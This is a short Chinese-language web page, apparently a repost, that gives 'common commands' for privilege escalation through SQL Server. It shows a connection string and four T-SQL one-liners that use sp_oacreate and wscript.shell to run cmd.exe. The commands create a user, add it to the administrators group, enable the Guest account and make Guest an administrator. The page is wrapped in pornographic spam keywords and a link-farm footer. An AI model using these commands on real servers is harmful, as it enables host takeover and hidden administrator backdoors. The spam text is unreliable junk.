国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數據庫 > SQL Server > 正文

SQL 提權 常用命令

2024-08-31 00:59:32
字體:
來源:轉載
供稿:網友
1、連接數據庫
driver={SQL Server};server=服務器IP;uid=用戶名;pwd=密碼;database=數據庫名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net localgroup Administrators Guest /add'
關于防范方法,可以參考武林網服務器安全設置欄目。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 犍为县| 包头市| 伊通| 克拉玛依市| 清水县| 襄樊市| 大新县| 鲁山县| 石河子市| 林甸县| 息烽县| 和顺县| 渝中区| 河西区| 嘉善县| 青州市| 东平县| 彩票| 西乌珠穆沁旗| 新蔡县| 缙云县| 禄劝| 邵阳县| 江源县| 金堂县| 新巴尔虎右旗| 沭阳县| 壤塘县| 丰宁| 乾安县| 天镇县| 五常市| 保定市| 岐山县| 安龙县| 武川县| 嘉荫县| 休宁县| 泸西县| 双江| 汉沽区|